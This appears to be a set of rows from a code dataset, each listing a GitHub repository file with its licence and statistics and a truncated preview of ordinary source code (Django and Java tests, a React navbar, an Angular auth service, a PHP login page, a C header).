] | null | null | null | from rest_framework.test import APITestCase
from api.models import Category
from api.tests.mocks import brite_core, brite_core_update
class TestGetFavouriteAuditLog(APITestCase):
favourite_id = 0
def setUp(self):
category = Category.objects.create(name='Company')
response = self.client.post('... | 48.509804 | 76 | 0.672999 |
a32a966d46c5676c02a9c04df9ab92587784b50b | 4,806 | java | Java | google-ads/src/test/java/com/google/ads/googleads/lib/utils/ResourceNamesTest.java | duperran/google-ads-java | da810ba8e1b5328a4b9b510eb582dc692a071408 | [
"Apache-2.0"
] | null | null | null | google-ads/src/test/java/com/google/ads/googleads/lib/utils/ResourceNamesTest.java | duperran/google-ads-java | da810ba8e1b5328a4b9b510eb582dc692a071408 | [
"Apache-2.0"
] | null | null | null | google-ads/src/test/java/com/google/ads/googleads/lib/utils/ResourceNamesTest.java | duperran/google-ads-java | da810ba8e1b5328a4b9b510eb582dc692a071408 | [
"Apache-2.0"
] | null | null | null | // Copyright 2018 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in w... | 30.807692 | 95 | 0.740117 |
beb8cbd40a93ab87dc2f1b9e51d04f455cb17472 | 1,999 | ts | TypeScript | hooks/useWallet.ts | unit410/polyfile | 1b9164606090209ef317caa13e71c43cb536aa93 | [
"BlueOak-1.0.0"
] | null | null | null | hooks/useWallet.ts | unit410/polyfile | 1b9164606090209ef317caa13e71c43cb536aa93 | [
"BlueOak-1.0.0"
] | null | null | null | hooks/useWallet.ts | unit410/polyfile | 1b9164606090209ef317caa13e71c43cb536aa93 | [
"BlueOak-1.0.0"
] | null | null | null | import { useEffect, useState } from 'react';
import type FilecoinApp from '@zondax/ledger-filecoin';
import Address from '~/common/Address';
import Wallet, { SignResponse, WalletAddress, WalletError } from '~/common/Wallet';
import { useLedger } from '~/components/LedgerProvider';
class LedgerWallet implements Wallet... | 28.15493 | 100 | 0.65933 |
79895c73c2c2063bb52ae08dadee7cb15b250e09 | 2,521 | php | PHP | resources/views/admin/Account/login.blade.php | ThangDao01/project-sam2-ex-example | 71688bacb0dc1437c1691f1343ed141bd2b2c652 | [
"MIT"
] | 3 | 2021-08-18T15:07:12.000Z | 2021-08-30T07:43:52.000Z | resources/views/admin/Account/login.blade.php | ThangDao01/project-sam2-ex-example | 71688bacb0dc1437c1691f1343ed141bd2b2c652 | [
"MIT"
] | null | null | null | resources/views/admin/Account/login.blade.php | ThangDao01/project-sam2-ex-example | 71688bacb0dc1437c1691f1343ed141bd2b2c652 | [
"MIT"
] | null | null | null | <!DOCTYPE html>
<head>
<title>Visitors an Admin Panel Category Bootstrap Responsive Website Template | Login :: w3layouts</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="Visi... | 38.784615 | 177 | 0.560889 |
f47dd2835238b3c14c192c1a398ef4bbe48e0e18 | 555 | tsx | TypeScript | src/components/layout/Navbar.tsx | bhumong/simple-project-management-redux | e2e4f7326e3d8d554f83983867cc46e413e271e8 | [
"MIT"
] | null | null | null | src/components/layout/Navbar.tsx | bhumong/simple-project-management-redux | e2e4f7326e3d8d554f83983867cc46e413e271e8 | [
"MIT"
] | 2 | 2020-05-23T08:14:39.000Z | 2022-01-22T12:23:29.000Z | src/components/layout/Navbar.tsx | bhumong/simple-project-management-redux | e2e4f7326e3d8d554f83983867cc46e413e271e8 | [
"MIT"
] | null | null | null | import React from 'react';
import { Link } from 'react-router-dom';
import SigninLink from './SigninLink';
import SignoutLink from './SignoutLink';
function Navbar(props: any) {
const user = props.user ? props.user : null;
const initial = props.userData?.initals;
return (
<nav className='nav-wrapper grey dar... | 27.75 | 68 | 0.648649 |
6d9066ee474e543bb4ae6884c20f913e88b3c108 | 1,012 | ts | TypeScript | MEAN - MongoDB, ExpressJS, AngularJS, NodeJS - SCRUM/frontend/src/app/service/auth.service.ts | alzheimeer/Tasks-JS-Angular | 22e8fe3e68a8a9b1de1e5336f2fca9c7f9968611 | [
"MIT"
] | null | null | null | MEAN - MongoDB, ExpressJS, AngularJS, NodeJS - SCRUM/frontend/src/app/service/auth.service.ts | alzheimeer/Tasks-JS-Angular | 22e8fe3e68a8a9b1de1e5336f2fca9c7f9968611 | [
"MIT"
] | null | null | null | MEAN - MongoDB, ExpressJS, AngularJS, NodeJS - SCRUM/frontend/src/app/service/auth.service.ts | alzheimeer/Tasks-JS-Angular | 22e8fe3e68a8a9b1de1e5336f2fca9c7f9968611 | [
"MIT"
] | null | null | null | import { HttpClient } from '@angular/common/http';
import { Injectable } from '@angular/core';
import { Router } from '@angular/router';
@Injectable({
providedIn: 'root',
})
export class AuthService {
private registroUrl = 'http://localhost:3000/api/usuario/';
private loginUrl = 'http://localhost:3000/api/... | 26.631579 | 63 | 0.62253 |
a30e014d30f4aeb33056fcfee8de4a653593da92 | 27,194 | h | C | YahooKeyKey-Source-1.1.2528/Frameworks/PlainVanilla/Headers/PVCandidate.h | linpc/yKeyKey | 81e05f070c070af65cac21e8da28ca4ff2d58905 | [
"BSD-3-Clause"
] | 31 | 2019-05-28T09:08:09.000Z | 2022-02-21T02:19:21.000Z | YahooKeyKey-Source-1.1.2528/Frameworks/PlainVanilla/Headers/PVCandidate.h | mhtxi3d/KeyKey | 24a21491398069317879ba07c95d9b0056806728 | [
"BSD-3-Clause"
] | null | null | null | YahooKeyKey-Source-1.1.2528/Frameworks/PlainVanilla/Headers/PVCandidate.h | mhtxi3d/KeyKey | 24a21491398069317879ba07c95d9b0056806728 | [
"BSD-3-Clause"
] | 19 | 2019-04-22T09:56:12.000Z | 2022-02-27T18:38:40.000Z | //
// PVCandidate.h
//
// Copyright (c) 2007-2010 Lukhnos D. Liu (http://lukhnos.org)
//
// Permission is hereby granted, free of charge, to any person
// obtaining a copy of this software and associated documentation
// files (the "Software"), to deal in the Software without
// restriction, including without limitatio... | 30.867196 | 115 | 0.550636 |
f43b4990c12c5dbb183467b9b3f53ef02adfa009 | 720 | tsx | TypeScript | libs/service-portal/finance/src/screens/FinanceEmployeeClaims/FinanceEmployeeClaims.tsx | rafnarnason/island.is | 3972cfbdee21b9bc7b2f055b144c30e37310983f | [
"MIT"
] | 154 | 2020-09-05T21:44:32.000Z | 2022-03-29T09:40:53.000Z | libs/service-portal/finance/src/screens/FinanceEmployeeClaims/FinanceEmployeeClaims.tsx | rafnarnason/island.is | 3972cfbdee21b9bc7b2f055b144c30e37310983f | [
"MIT"
] | 3,029 | 2020-09-01T08:55:21.000Z | 2022-03-31T23:31:50.000Z | libs/service-portal/finance/src/screens/FinanceEmployeeClaims/FinanceEmployeeClaims.tsx | rafnarnason/island.is | 3972cfbdee21b9bc7b2f055b144c30e37310983f | [
"MIT"
] | 32 | 2020-09-14T09:59:52.000Z | 2022-02-26T18:29:56.000Z | import React from 'react'
import { useLocale, useNamespaces } from '@island.is/localization'
import { m } from '@island.is/service-portal/core'
import DocumentScreen from '../../components/DocumentScreen/DocumentScreen'
const EmployeeClaims = () => {
useNamespaces('sp.employee-claims')
const { formatMessage } = us... | 30 | 92 | 0.693056 |